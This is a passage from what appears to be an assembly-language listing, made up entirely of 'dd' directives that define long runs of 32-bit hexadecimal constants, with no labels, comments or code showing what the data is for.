		dd 16A37780h, 0A45C8C45h, 0B5B54E2Ch, 33A5802Ch, 0D612F680h
		dd 14B1B31Ch, 0B2C2227h, 8850045Eh, 0E9A08C9Ch,	640001B9h
		dd 12BCE622h, 2DBA13E2h, 2847EE7Ch, 0D2608264h,	0A000408Dh
		dd 3516D3A4h, 0C0F031AFh, 0EA1736A9h, 0CD00CE58h, 3B6EAC43h
		dd 90D912ECh, 0E302038h, 2F78470Fh, 69684062h, 3CD86ACh
		dd 0B779CA2Dh, 0A1C8330Fh, 86B7BE92h, 0B6D82500h, 1C465EF8h
		dd 2130C03h, 7813E759h,	0C6007664h, 428716DEh, 0AC08906Ah
		dd 1471482Ch, 0F4946B20h, 133465Eh, 4DE17862h, 19803A53h
		dd 1BEC5003h, 0D6007F3Eh, 9D15FFEAh, 7094CD4h, 9C1656C3h
		dd 60D2A112h, 0EC746C03h, 66908C80h, 0F3BDB200h, 0DCE3465h
		dd 89E0028h, 0AA02980Eh, 4901E34Eh, 0D11E5D89h,	0A0A794B7h
		dd 8B3EE4B7h, 9030D3C1h, 3F65340h, 0CCA8CE25h, 0E8E8593Fh
		dd 3D00AAE2h, 1037C108h, 27C90F8Dh, 68656B6Eh, 0B06335E4h
		dd 0C92853C0h, 0D6144Ch, 0A2C8A388h, 5B6EFFA8h,	6B8475FAh
		dd 557D006Ch, 460F7C94h, 879205C4h, 882A6777h, 0C4BE96F8h
		dd 23A92140h, 0AB2F05B1h, 83A4AD08h, 0CDA0F149h, 9430ECh
		dd 95F25D80h, 0B36A65h,	0F00C897Eh, 9AADD81Eh, 0ED9DC900h
		dd 46390783h, 94B964E6h, 18C4F837h, 0FFD13B53h,	1A801D4h
		dd 954C34B3h, 0F7FADC4Ah, 6E2B6904h, 88E8302Ch,	8C83BCh
		dd 0CA2E7DD6h, 9B3DE05Ah, 4D0ED4Ch, 0CFD58150h,	0EF55CA4h
		dd 0DE97011Ah, 7A852AE1h, 7C60E48Eh, 0A510D609h, 2010708Fh
		dd 0E808EDE0h, 0EE31ECh, 7FB14F86h, 9C0068D9h, 0E94C7919h
		dd 5FFCFD05h, 8348480Bh, 82D31480h, 0F992FF20h,	9154C20h
		dd 0D18ADF6Dh, 2191009Dh, 80C61780h, 1D60D173h,	3AD9A719h
		dd 63350070h, 3F525675h, 0B53A32F5h, 22D28108h,	8866E4C0h
		dd 23B03A3Fh, 8F9B0080h, 0F9A82022h, 10047358h,	5A73F6F0h
		dd 2E090CFh, 1E0C9BB9h,	419364AAh, 47310769h, 0AC23E0h
		dd 50CAD73Ah, 10C8209Dh, 7DF37C16h, 3FEA38C6h, 0B172310Eh
		dd 6589A7CBh, 49FD6884h, 28DAD0h, 37AA5D98h, 0E007CAB1h
		dd 1F150848h, 0C9051D9Ah, 0C804B841h, 4A00207Ch, 0F5562ABh
		dd 0E8A4D249h, 0C0FE0094h, 0BDAF4CFDh, 4702D9D5h, 6759DF09h
		dd 0F4A052D0h, 0C4AD1CF8h, 0A1B000FDh, 4DA7D7B4h, 65054805h
		dd 0C0F90AF2h, 2D7F460Bh, 354494C7h, 0EBD86663h, 0AF02BD3Eh
		dd 0FD45DB47h, 9E74D9BCh, 0FA444485h, 0F8B8FC41h, 5A278C40h
		dd 1ACE48Ch, 0A994B54Ah, 9288426Eh, 782126D0h, 306C9212h
		dd 3187ECB0h, 606E2E4Fh, 82631Dh, 2BFA6260h, 0C94EAB3Bh
		dd 0C8369492h, 266A77D0h, 89688E01h, 0B070B8A9h, 7ED12091h
		dd 4017BC18h, 2C0BE464h, 951066DEh, 84C0544Dh, 277F6ECBh
		dd 0C4E68BE2h, 3E91E344h, 98ADA50Ah, 2E262091h,	6827147Bh
		dd 0EC47BC90h, 667D6C00h, 61E18F1Ch, 8A03004Dh,	77443AEDh
		dd 0AF13B8D0h, 0F008456Eh, 876F8239h, 445271E6h, 0E644E727h
		dd 3E367594h, 1060E065h, 31C37511h, 8B8CC895h, 6C9C8CE4h
		dd 9B18EB5Eh, 53AA1400h, 39492897h, 69420BCBh, 0E8C1515Eh
		dd 1EB42CFEh, 0C02476FDh, 8D93AB40h, 1F9B0764h,	0C70D68A7h
		dd 0EC49C487h, 8C36BCD8h, 9F695901h, 6CB3BD78h,	28308025h
		dd 24873C41h, 1077B41Ah, 0DB360680h, 6CF2816Dh,	0DD91D563h
		dd 0ECF9A5EAh, 0E8C1FA8h, 15067D3Ch, 78204073h,	39A407CEh
		dd 44FEF825h, 0B9380354h, 0FA2C33D9h, 50DBD690h, 79E4EE74h
		dd 93CF7418h, 72F2A690h, 0BC74B9FBh, 99AA2Ch, 0EAA80372h
		dd 0FE0F9F09h, 20E2701Dh, 3B3A0EB2h, 6487847h, 0F6D0F9F4h
		dd 0B309A080h, 41394A9h, 6FAF56B8h, 343D006Ch, 4E4B27D6h
		dd 0A2B03E1Dh, 562A5F07h, 74725B39h, 7F0EA604h,	84F89202h
		dd 94F95B71h, 1C74E0ACh, 5A8A7F3Ch, 9D91AC60h, 1482BD4Fh
		dd 0F073CFB5h, 9FDEA270h
		dd 6497480Bh, 0CD807E91h, 686FCB03h, 696A7625h,	6C2D532Ch
		dd 0C5C1EA00h, 0BD591B3Dh, 0CD4B98B4h, 80C54420h, 4CC10F0Dh
		dd 46E2B007h, 840BE1Dh,	971D9BAh, 0C92BC072h, 0B90918FAh
		dd 5466876Eh, 0FA003D14h, 0D93BDA37h, 3DEAEFA1h, 89FC0951h
		dd 0D1C04328h, 5DE88238h, 0B4C83105h, 0ED7EB76Fh, 7C2448DDh
		dd 0C75E0B09h, 60276438h, 3867A658h, 3589A73Fh,	0B5054D46h
		dd 0D7AC4791h, 0F6047024h, 0FA17C244h, 608BE959h, 60C024C8h
		dd 4DCF222h, 37C04750h,	7144809Dh, 0D4967B6Dh, 781E4C0Bh
		dd 0AC9ED4h, 6776EE04h,	1DB78F72h, 80229174h, 9781D724h
		dd 0F87F00DAh, 8E609A76h, 99DEE5Dh, 0B9CCE4C0h,	18277914h
		dd 0C17B00E3h, 887AB1B0h, 0A25DDA6h, 19C51EDh, 0E599C3B4h
		dd 727CCCB1h, 6DA23F00h, 0A912668Bh, 8CA702C1h,	679D1118h
		dd 0CB0980F0h, 0E54F4B07h, 6304C4FCh, 98568BD1h, 0FA734C8Eh
		dd 2D8CB0E4h, 86481C2h,	79CB7BFh, 701DFDA1h, 476F56DBh
		dd 7627C67Ah, 0B3F8E193h, 0B06B3Ah, 5DFBF630h, 94CEA3DCh
		dd 0ADB680B4h, 1C8B947h, 8C00D4FCh, 14D10641h, 76128959h
		dd 0ECF0229h, 350D5E60h, 7BF390E9h, 5D2F4C20h, 403240DEh
		dd 76751505h, 60D18E70h, 9E2E8483h, 329EC0D4h, 2535B6D6h
		dd 0D3FE0A8Fh, 0F5A2AC02h, 410D429h, 0FC1EA7FDh, 0AD4F21F0h
		dd 0FF91CC95h, 6DE64280h, 6B01978Dh, 73AF669Dh,	6B7FE763h
		dd 0CCC51DF0h, 3655FC0h, 458E49Fh, 477D10BFh, 9CB50739h
		dd 0CB4069CBh, 0C001C80Fh, 7C156708h, 0E8049E77h, 0EBA510FFh
		dd 7430F8B5h, 0E2CB09E4h, 9851D612h, 919C17A5h,	97148085h
		dd 74766B80h, 0EBB13D5Ch, 0BDAF6E8Bh, 0F74AE858h, 5CE048E6h
		dd 2D0095DCh, 0B37E9169h, 811870D1h, 24086A73h,	4AF6C0B9h
		dd 0F85AB33Eh, 0B0EBF02Ch, 62065BC4h, 10D41784h, 3B7095F6h
		dd 0D965082Ch, 0C1200F25h, 16D0B80Ah, 0D1B57984h, 1484F8CCh
		dd 0B85CA813h, 9E028C23h, 0D81F2920h, 0B374C0E6h, 13252550h
		dd 68BCF870h, 347D4ADCh, 0EB78B02Ch, 0FB9DA9C2h, 4B785234h
		dd 0DB5C802Dh, 102DBB4Eh, 6028CDB4h, 0F0E1D647h, 0F2BB2800h
		dd 6EA79789h, 9AE74E88h, 8B46C058h, 1CC5777h, 13495311h
		dd 93EF94B2h, 64D02EA8h, 3C74DCh, 358B495Eh, 0D1FBFE5Ah
		dd 0C029AC62h, 0C1B85948h, 68D1C6Dh, 0F6102058h, 4AAB114Ch
		dd 24928C0h, 1339C5EDh,	8970BDE2h, 5B5C7A6Eh, 6A74CD44h
		dd 8350E46Eh, 46890158h, 7460BB5Ch, 2B807178h, 0DB09F844h
		dd 17A2C9C0h, 6CCA12CEh, 0B8E8ADD6h, 0C9160075h, 8EEA9F19h
		dd 39256982h, 0B70E405h, 0C822864Bh, 0D4A6A885h, 0B868AD84h
		dd 59A2EEEh, 8D0E0CE4h,	687FAC61h, 74099DE6h, 0EF8A867Fh
		dd 0E9764120h, 99D9F89Ch, 8CE4304Bh, 5A070074h,	1AAF2EB4h
		dd 8271225Bh, 0BEEB9C00h, 5E696B9Fh, 248FE803h,	419865C0h
		dd 0CC6C42BCh, 0B600C138h, 0BE0A5C37h, 4BC0FCh,	0F24DB255h
		dd 0D65D272Dh, 0A240E097h, 168704CEh, 88043943h, 0EF602E94h
		dd 0BE859D89h, 0A2C907D2h, 0A280913Ah, 4072F73Ch, 0A587193Eh
		dd 0D8580294h, 0A5BD896Ch, 1C818A14h, 53002BB7h, 0E8259ED1h
		dd 70E0F349h, 8B00507Bh, 113CC1A4h, 0BF8ACDBh, 7DE5A2AFh
		dd 2399282h, 0FB634856h, 0D189123Fh, 1A10EC80h,	5E20ED33h
		dd 1E467628h, 2B9F443Bh, 6B8580D1h, 42DFBAE0h, 72B8A901h
		dd 9EC96D1Bh, 8CA3188Ch, 1200EC21h, 33F92030h, 1FB8811Eh
		dd 795E593h, 0C03F6EE8h, 0EBC2719h, 0A315D20Ch,	69398Bh
		dd 98D1BD9Ch, 9FD78030h, 15F91800h, 7409DC3Fh, 502A011Fh
		dd 8BD19E20h, 0DA7980BEh, 4301AF3Ch, 33E4E012h,	0D008423Bh
		dd 34FC2100h, 0EB5C74AFh, 0B83A7D92h, 0A3E318D2h, 65D77986h
		dd 0F8BDA200h, 28FA9739h, 1D0A7C6Ch, 30E44437h,	0C315C048h
		dd 366ACB01h, 0FE636062h, 21D70898h, 0C30E0D29h, 0A0EB2A14h
		dd 84FF3151h, 17660198h, 1CE62486h, 392BF8DCh, 0E361DE02h
		dd 801F694Fh, 0F4E74E84h, 0F820340h, 65093F6Bh,	740B1800h
		dd 0A4DCBA0Dh, 778934D2h, 0DE8008B8h, 1CAF3BC0h, 223A4643h
		dd 0AFC381CFh, 0C261C331h, 545C1F8h, 713CD162h,	0D8801E6Ch
		dd 89E0818h, 37ED3A2Ch,	2B98C300h, 0E50E51h, 3566B47h
		dd 43E62177h, 0ECD5FD18h, 0F1535EE1h, 51DDC100h, 1A18CB61h
		dd 8183BF6Bh, 0A59C6C75h, 955F9FE1h, 80AC31D0h,	6AD5C313h
		dd 0DC448C06h, 0C30B0023h, 5F754EAEh, 560109AFh, 6F6A99D2h
		dd 94401EB9h, 60BAE19Fh, 1413D8E9h, 0E86328A9h,	0E34340h
		dd 0AD3B1F49h, 8403EBC3h, 376EE43Fh, 0DDC1D062h, 5B03D681h
		dd 661A390Fh, 0A2C07874h, 7694A873h, 46530087h,	83C8625Eh
		dd 4005CB7h, 8B6ACED6h,	205F496h, 910B1A40h, 0B4A1D90Eh
		dd 0C0CDC36Dh, 0C0F2FD41h, 0E3C568C0h, 0A86FA60Fh, 1E1F0BBCh
		dd 0C3E53D79h, 27EC82DEh, 21120830h, 791720h, 0ED711A60h
		dd 0F1A905DFh, 0B6E7410Eh, 0C8202C80h, 0F16C63A3h, 0BA0B91Ah
		dd 0DF6016B1h, 8F91ED88h, 0BB9B28E0h, 0C78B2A88h, 138A01D0h
		dd 0EC2ACB62h, 7764DC1Bh, 390A25F4h, 98E941DDh,	3ED16B02h
		dd 9084AA38h, 83A21204h, 0D67EA090h, 91100A4h, 1BEC7D0h
		dd 75E8C420h, 0DE4031C0h, 2AA0CFA4h, 0C8E944h, 31FCFBB4h
		dd 0ED24BD04h, 27A79003h, 50848ACAh, 8CDD7499h,	1DAF3804h
		dd 0D3623243h, 4030F822h, 1A9263F4h, 0F0FF589Fh, 3CA90090h
		dd 2B62A50Ah, 6420ECBCh, 0CA021646h, 0F00915A4h, 44107A31h
		dd 8B78A4D2h, 98815B01h, 0B3DA1FF7h, 0EF89C087h, 71711645h
		dd 33462090h, 0D7C31102h, 7447166Ah, 0C3092500h, 0E5CF66Eh
		dd 0C2F45D96h, 7C818269h, 52A8AEADh, 17199E60h,	0A408C918h
		dd 0C4F80914h, 0D145407Dh, 964CA4h, 3D26638Dh, 0CFAE46B6h
		dd 89C0D5FAh, 3E3550F8h, 5DD31C32h, 0CA7B0B14h,	0D0704600h
		dd 5C04A3CBh, 0DA8A890Dh, 6F922C87h, 164681Dh, 0B5E12C0Fh
		dd 46F428D7h, 0C3100230h, 670E6AD6h, 82201A0h, 316F3AC3h
		dd 0FF97E467h, 24C25D3Ch, 1E086491h, 7EF600D5h,	0D1641A82h
		dd 43BE080h, 22014FCFh,	0BB54C23Eh, 0AA8F0B20h,	4E1A04E1h
		dd 0C7DEE7E5h, 0EDBC480h, 2482EB8Bh, 405E845Ch,	4A58180Ah
		dd 0BB06B35Fh, 0D43E9109h, 2B862430h, 0BCEE0C23h, 28508410h
		dd 48C15C0h, 916A4D7h, 207862C8h, 9DA4DF43h, 0E116C100h
		dd 6D18CF71h, 0B18F02A9h, 6207CA9Bh, 0B6E6F848h, 70C9D865h
		dd 0E1095001h, 0C1A9BE5Ah, 0AA190704h, 0BFE91ECh, 0A2B033AFh
		dd 53C230D7h, 48A67B3Eh, 134235Ch, 6ACAC314h, 88DD182Eh
		dd 60C00C26h, 2E70AB7Eh, 6AB90535h, 899F8C2h, 0D4C01090h
		dd 210913A4h, 7991C420h, 755E2Ch, 73D6139Fh, 0CC2EC5C3h
		dd 0EE4F308Bh, 812840C4h, 7B6CBDh, 0E707C1B3h, 0B0796897h
		dd 0E5B46F0Fh, 8A82096Eh, 0E10FE488h, 3B9854DEh, 0A0B62C03h
		dd 80BCCD3Dh, 0E53B791Dh, 0AEDE5E1Fh, 5343F770h, 561704C3h
		dd 800B2226h, 8D89E282h, 4530F100h, 8B665206h, 935E3AF2h
		dd 852ABE80h, 18800F50h, 7F5645CBh, 36A57D68h, 69EBA800h
		dd 0CE72B1Bh, 2ABC58FFh, 0B82E1006h, 0FEB748B9h, 0E405D645h
		dd 15A5B5FFh, 0A235E3BFh, 0FF103014h, 3121950Bh, 1C65D545h
		dd 0FC6114E4h, 4360C1B0h, 9590C28Ch, 50C9028Dh,	2B670861h
		dd 918465Ch, 824E3C6Dh,	0B571E4F2h, 8982814Dh, 8005A9B5h
		dd 0F613C8Eh, 0E1024C83h
		dd 0BC05E87Ah, 0DC028C18h, 2BD66547h, 0DFDA420Fh, 9E58407Bh
		dd 16077DBEh, 0EEBA53D8h, 0A6EA5685h, 8A68B3AEh, 0B73A46C2h
		dd 0FE169F4h, 0FCD85236h, 3CD6097Ch, 3A37C38Bh,	0F08B3881h
		dd 9DF6E8C1h, 811711CAh, 0FC0FD0D3h, 14F8BFC8h,	0C5E2F766h
		dd 28C17E8h, 18A43F4Ah,	0DBF5D82Bh, 3D70588Fh, 40AFA95Eh
		dd 0D0695E56h, 5B182EC5h, 9E8647Fh, 24FD2485h, 8B580121h
		dd 0B12EC9BDh, 880F780Eh, 3EB001F9h, 7B9F3D2h, 95C64FDEh
		dd 382C09E9h, 1649C183h, 526E88BCh, 1E531468h, 864CD93Bh
		dd 3DF913E7h, 0FF5B8C66h, 19230B2Eh, 2C49DE00h,	0C3DDC8Ch
		dd 237DB58Bh, 0C106F6B4h, 0AB840F04h, 0BE560231h, 7F6BE9AEh
		dd 1952F40h, 292C1760h,	0D2111985h, 0F305400Ch,	5B61C2B3h
		dd 5CD4FEB7h, 5B001C46h, 0C6B89507h, 0A20605AEh, 0DDB52BF7h
		dd 0A0C3EC71h, 8010F9C6h, 854343Dh, 536A86C3h, 4674724Bh
		dd 0AB37051Ch, 2080EFB1h, 353E71D3h, 0BF5332E9h, 34B033E6h
		dd 0B0F9CABh, 200C011Ah, 8166CCADh, 56DC0FCFh, 0BDC3C08Bh
		dd 0CC7814F1h, 3D8DCC7h, 60D81A3h, 5185C714h, 0B5030C25h
		dd 0F14CCFBh, 0BD3EAEB7h, 13D63354h, 452CA3Bh, 0A182D91h
		dd 0B908AA5Eh, 26BC2620h, 90D0442Fh, 36850F6Bh,	0BCEC47D1h
		dd 8140307h, 780C522Bh,	0BD09D7F0h, 2812D920h, 7C3A85FFh
		dd 0A1D3489h, 4275CA18h, 301AE2EBh, 9D1C5AFEh, 2116F520h
		dd 20F47B66h, 905B2B09h, 0F9A440FAh, 84235FCBh,	83D1E812h
		dd 24918E04h, 0FDBD3303h, 85E3EBB5h, 43542700h,	3F053DF4h
		dd 2B8CC900h, 0EF1BAD26h, 0A1DEB70Fh, 2433BE81h, 0A233183Eh
		dd 293019A2h, 2B8B7C97h, 58212235h, 7609FF86h, 9D8C7EEAh
		dd 8415114Bh, 1E8207A2h, 0F83A165h, 0A97A1681h,	152680E4h
		dd 2E35080h, 60DA82D2h,	33695E61h, 0A938A919h, 7F1815D1h
		dd 1533C03h, 5013A985h,	0EC7A848h, 0F5E8E82h, 31AA2076h
		dd 226A4D9Dh, 0C201B24h, 0ADC68902h, 4085E9BBh,	0E25EF0A5h
		dd 31BD242Bh, 8FDA434h,	56120E05h, 6D81470Ch, 0C7E90E5Fh
		dd 1D33FFF7h, 0C13D7976h, 355DC37Fh, 16C08A84h,	0DF0025C9h
		dd 801BB06Bh, 1E51A426h, 16FA4BD5h, 4587FAEBh, 9270B70Bh
		dd 214D83CDh, 0BD4E9649h, 32D9F4h, 17C12D8Eh, 8D4AA1A2h
		dd 0D998512h, 1CC80A8Eh, 70CA54C0h, 37630419h, 81E9E178h
		dd 32489B3h, 0BBFEBB50h, 5B2EC504h, 48001A23h, 0AC5083B8h
		dd 81B403F4h, 91C7BDDEh, 0A7A96AF2h, 0D880438Fh, 8B529A86h
		dd 6159DF18h, 5E1263DAh, 0F835BE49h, 83F80101h,	0D36605C0h
		dd 4662EF2h, 6423FF00h,	0E86986E5h, 0B496009Ch,	0A9C8284Fh
		dd 76E55090h, 4A95F079h, 9573A99h, 0D0305994h, 61D0AB97h
		dd 3E86BE5Fh, 805868BCh, 8C1BECh, 0F15BD874h, 0E39F1C80h
		dd 10D85148h, 5F283361h, 96E713ACh, 49A30599h, 0E4F6EB17h
		dd 0BA5001F0h, 6B8953C0h, 0E4999D8Dh, 52063F48h, 2CA6EFF8h
		dd 0D3FF004Eh, 0B1ADEF81h, 1640A82Ch, 32B908h, 0DD29DBEh
		dd 0BA59E954h, 62FB5B56h, 0FC896DF9h, 5A8ED830h, 1E7A8D00h
		dd 0E14228F9h, 5D50B53h, 7F1E7447h, 1518610h, 0B1BD2305h
		dd 0B621962Ch, 1F293394h, 81817D1h, 0B697AE00h,	81FBBF0Fh
		dd 69A8E1E3h, 20064553h, 1F4E6549h, 0CCBE4440h,	580B5FD9h
		dd 8C22CDDBh, 79205690h, 3683761Ch, 4FFA10BAh, 0EE603644h
		dd 1381938Dh, 29E904C1h, 0E961032Fh, 96B78493h,	34CFD2A0h
		dd 601E672Eh, 0D9DC4320h, 19080926h, 8D662C04h,	7A715BE9h
		dd 0A5AC96EDh, 8C0E410Ah, 0E508C960h, 5C501629h, 2443A93Bh
		dd 1846D4BDh, 69FAA102h, 0A423494h, 8D8D2604h, 71C20104h
		dd 0A0040525h, 810E230Dh, 2EFEFF87h, 1BB83E74h,	3EC9008Ch
		dd 0D75FDF79h, 0A4A14D96h, 206A16F1h, 661709A1h, 90BBDB8Ch
		dd 48CD8180h, 6B8D8500h, 9F52448Eh, 1C2E699h, 31AD5EC1h
		dd 24082DBDh, 0C34AF6F3h, 0B15DFF08h, 515515Ch,	3F76FECDh
		dd 988617E1h, 90AF71BAh, 0CC91E8h, 554254A8h, 4A0008ADh
		dd 14759F9Eh, 904DDDE6h, 0DFA097Bh, 0E518505Eh,	26005D40h
		dd 46973EBFh, 0B94AB6Ch, 0A47C0A5Eh, 399EA82h, 0BB60644Fh
		dd 50909DCAh, 40F1828Eh, 8AA0B00Bh, 7000E6FAh, 0CB64D781h
		dd 65E4310Fh, 53B5DA71h, 0DB1484F9h, 0F9A3C1A4h, 0D3EC143Bh
		dd 37515C77h, 1992FE27h, 0BC717C5Bh, 340F25FCh,	84190C87h
		dd 0FA2A101Fh, 0B7BF8870h, 26960D07h, 0D070C38Bh, 9E03A594h
		dd 8C0F0B01h, 41B5B498h, 0EB2C1E41h, 0BF0E256h,	49126E3Bh
		dd 1C2D82Bh, 0B0930631h, 3400445h, 0E2504B94h, 0C0606852h
		dd 0C361145Ah, 8C981869h, 6FE2A4CBh, 901C6D6Bh,	0EEF750h
		dd 82819643h, 5A5F0C67h, 93045864h, 1988E5CEh, 0C174B8C0h
		dd 30060598h, 907D8589h, 0A99FBF60h, 9A75E425h,	0F1554066h
		dd 2DBB7B66h, 0C73A6199h, 0F83579F7h, 0CF3A8259h, 0B9B596E4h
		dd 0D62B9801h, 58214442h, 24CEB530h, 285B0CABh,	45954553h
		dd 0EDB6EA5Bh, 2C4DD4B0h, 85C79038h, 0C1424814h, 49DDB6A4h
		dd 0DCEC5401h, 10804525h, 17BEACh, 99F6AEB9h, 9CF85A6Bh
		dd 0AC728600h, 2320BB1Eh, 0B8844917h, 31049253h, 0E424098Dh
		dd 0DF0F81AEh, 327FC08Ch, 9D896441h, 5E270819h,	4CACE34Dh
		dd 0F56BC212h, 9F0D309h, 888E3761h, 4508834Fh, 24581410h
		dd 18C1AB8h, 22118253h,	643ECFFCh, 5EB4310Eh, 48560D64h
		dd 92272519h, 0F747C161h, 66515E68h, 4B4FD32Dh,	0D71FEE40h
		dd 61801B91h, 3586397Eh, 0D574DC07h, 4331DE81h,	68686B8Fh
		dd 3E8C18F8h, 97948584h, 6916A2B3h, 0FE67992Ah,	0ADB52B21h
		dd 2568C7CEh, 0B012A9B5h, 2D427B00h, 0AF3BFCDh,	5B76B85Dh
		dd 1D465C62h, 0E89CCF30h, 9F0BF160h, 1920A56Eh,	2E8F577h
		dd 0F93A0097h, 0ECDF504Ch, 0AE2DA67Ch, 968D0F25h, 890B8998h
		dd 0A723F8h, 93AFC1BFh,	90C08B25h, 5DD200Fh, 159D310Bh
		dd 0A7474613h, 601C44E1h, 3669F79h, 90B2A570h, 8E41632Dh
		dd 7D12064h, 1EC42089h,	0F870B47h, 0D68F5F4Dh, 7D7680F2h
		dd 50534165h, 3015A2CDh, 96B40516h, 79D86249h, 411BE46Eh
		dd 3075BD0Bh, 7916E572h, 41509D20h, 609812Fh, 0EDF94D56h
		dd 5AE52992h, 92DEC0DFh, 16B88C68h, 0DB901C77h,	36C8067h
		dd 0AC9837h, 0BC35E67Ch, 867BEE81h, 0F9407514h,	330514FCh
		dd 58892C69h, 1EB7A5h, 0A6730C9h, 22EC8DBh, 0D626905Ah
		dd 1D56E509h, 801A1185h, 78DC19B3h, 0A7D327CCh,	0A92C1504h
		dd 0C403BC9Ah, 121059E4h, 6DF07009h, 7350C001h,	34115F86h
		dd 0C70006E9h, 5227477Eh, 0B53E23F0h, 0CB44CA0Dh, 94E31895h
		dd 823019B2h, 94711D89h, 26A8689Ch, 6F080584h, 0C0A23A27h
		dd 3790FC5Dh, 0FB549F03h, 10AFC47Fh, 713217Ch, 0FFF872E9h
		dd 0C3816010h, 0A227096Fh, 1090E809h, 0C6006B85h, 0B18197AFh
		dd 0F24E41E5h, 5A5E02B3h, 74D2BF66h, 0D80F91D9h, 73A36020h
		dd 24B68AEBh, 0DE1C6061h, 95CB1F1Fh, 0DA318F07h, 4D876054h
		dd 0A1404595h, 2F1BE61h, 0B91025D3h, 0DB569F8Eh, 9C5A851Eh
		dd 21FEFD01h, 0CC2D018Dh, 0A4C4CE03h, 18100B46h, 886830E5h
		dd 0B8668013h, 0E183E368h, 321930F5h, 765BD4BDh, 9B051946h
		dd 0C310FBBh, 0BF089AFh, 92BB0C94h, 542108F5h, 0A7EA61FEh
		dd 2D6F294Ch, 0FBF59724h, 20084A52h, 0C9952957h, 58506CB2h
		dd 0D1538BD0h, 740B32A1h
		dd 1CF70C05h, 28858B80h, 0BC0C0231h, 888A953Eh,	7C67286Ah
		dd 60011A46h, 424A74CBh, 5CA6D2BBh, 0F4932721h,	5456778h
		dd 0E3E1BA66h, 0F95A4A8Bh, 3B2E9131h, 0DC82A460h, 40ADEE4Ch
		dd 1999E820h, 0A91D4400h, 59034Eh, 904CB9E5h, 0FBAAB2A7h
		dd 2C0233F0h, 0FD6B5BEh, 45CE5483h, 3AB31261h, 41C2376h
		dd 99A3CE88h, 0C278200Ah, 0DA638B2Bh, 44083588h, 2974F1B5h
		dd 0FC90B8B8h, 9D385058h, 52B16927h, 853862C4h,	6BA7452Dh
		dd 8F04F6BDh, 5FC7BCDDh, 0A3B757C1h, 0D722CC4Ch, 6C9ABE2Bh
		dd 0F8C06CCDh, 562A4FF3h, 318A618Bh, 0F2947479h, 0FBA679D2h
		dd 0F798AF86h, 7D331524h, 6DA58068h, 0BEB2C077h, 56C47263h
		dd 89251E29h, 80452C6Dh, 7C333597h, 0C6E6073Fh,	8119BABCh
		dd 25585F6Dh, 0F2CC3367h, 0E085301Dh, 30A94700h, 3829DE87h
		dd 8FF853B8h, 0EA4F2A25h, 89F9B069h, 29EF0B39h,	792C259Dh
		dd 1F43E9BEh, 5F3117E2h, 906F20E0h, 0E9410A86h,	965E4686h
		dd 0C01ADE2Bh, 0C670F1ABh, 0A9B52501h, 0BD03EDC0h, 3DB226E8h
		dd 7E6E604Ah, 22F12D00h, 1A7ED09Ch, 0EAA20626h,	1D1E8508h
		dd 413A65C7h, 58DC5BFDh, 7BEA2C1Bh, 44F6A306h, 391F09E9h
		dd 0B801A6CFh, 0E3D1C8A0h, 96F97A1Dh, 0C71FF700h, 2740F37Ch
		dd 6E1F4FB8h, 0D304EE83h, 5BB66120h, 57E343E0h,	0CEA6C0Fh
		dd 40BDC9F0h, 8010652Ah, 611607EBh, 0BFCFE99Dh,	20C01BC8h
		dd 1C62B4CBh, 4B1C4FE8h, 1A378DB1h, 81761789h, 0A750CB1Dh
		dd 0B500FE33h, 79032EBDh, 390070AAh, 2FA40F0h, 0F4753DA4h
		dd 35512D84h, 1345BE82h, 0C100D40Ah, 9104BEBh, 3C2F0F0Eh
		dd 0DA001AC5h, 0D41CA4ACh, 0B85CD238h, 34CE03E4h, 0A81BF531h
		dd 7929B327h, 0DD5B03D1h, 17E62AC7h, 0A1DFE7E7h, 0C2A6DB67h
		dd 2800019Fh, 0D427E641h, 0C372067Dh, 1A0D52E9h, 5FA0B32Fh
		dd 154FB5B9h, 500CB4EBh, 9A0053E2h, 6936C468h, 167A2AB8h
		dd 208B0FF5h, 56E2819Eh, 4B123D0Bh, 99E3DD5Bh, 0B9D3B984h
		dd 0FC83253Dh, 898004C2h, 47BAFDB5h, 10C08B31h,	0FC7B2C71h
		dd 8613ACC8h, 8D80D07Ch, 0B3402F9Dh, 4502B477h,	0C91A0911h
		dd 272819B2h, 96CE1D20h, 45314E5h, 2F559D31h, 0E8858D00h
		dd 26FD491Eh, 0A0A8F3AEh, 0FD090161h, 2F5075DCh, 0A05F900Eh
		dd 192DD629h, 60150086h, 0FFC98064h, 0E2775B53h, 0D0883A00h
		dd 50D108EAh, 905A2E56h, 0FF01DEDDh, 6C12430Ah,	0F28A1DD7h
		dd 11712105h, 860F12A5h, 95331020h, 588BAB61h, 4112347Ch
		dd 4050591h, 0F7B6EF24h, 0A3410FB2h, 9DAB60BEh,	0F50CCD02h
		dd 62B595FFh, 26F3FDAFh, 0FCCC270h, 750FBFBDh, 0A7B398C0h
		dd 79499589h, 0E1810030h, 1B6AA2D1h, 3143CC8Bh,	98B925E0h
		dd 4BF3D014h, 72C56C9Bh, 0FA51C3DBh, 0B2086128h, 60B239BCh
		dd 19911FE4h, 0D75BC680h, 484B8642h, 26A09187h,	58C28B49h
		dd 0C5355061h, 3D8704EDh, 2210CC07h, 0B725E6B6h, 3BF33EE4h
		dd 95078ABFh, 700F6025h, 0DFFFBBCFh, 610BD117h,	6D688DEAh
		dd 24CB87Fh, 39036E15h,	9E8EB991h, 7DE8C5B9h, 0A7D2001Eh
		dd 5250D49Ah, 0FB417B2h, 0EAD0EE31h, 281957h, 3CA4E3E2h
		dd 0D02ADD7h, 8E585A32h, 0FD2709h, 89993459h, 7867FE07h
		dd 1099D08Bh, 1F69BF0Bh, 3839980Dh, 0B814663Ch,	602D5E4Ch
		dd 77097C10h, 32FC3703h, 9616873h, 5659DE2h, 0D5207CDAh
		dd 0CCE94C09h, 950D6E80h, 80116F6h, 32DB08Dh, 0C220C046h
		dd 487824B6h, 16467681h, 5D6A702h, 106DD0FFh, 38BD47E0h
		dd 7A35006Ch, 0EC08BBF6h, 5D903729h, 8B2427A4h,	311F2FF9h
		dd 8370BDE1h, 0D50DD4FFh, 23096FF6h, 9F6F1C16h,	0E6C980D6h
		dd 8B7663D8h, 80718D27h, 3BE682Ch, 0B3250950h, 498E8138h
		dd 64BFB222h, 0FAFAFDh,	494FBBDBh, 0E80F7CA3h, 3E4B25Ch
		dd 0AA89CD48h, 0C9B414A0h, 0F6A4D911h, 9278E02Dh, 73B92932h
		dd 47ED4BE8h, 0C002BE40h, 0EBE80E2Eh, 0A7358D89h, 9226F141h
		dd 0D69BD0F0h, 0B661D101h, 17DDA053h, 30F22430h, 0E90A895Ch
		dd 0F9A2F6E4h, 63FDF112h, 72474A47h, 640D6C6h, 0F7860269h
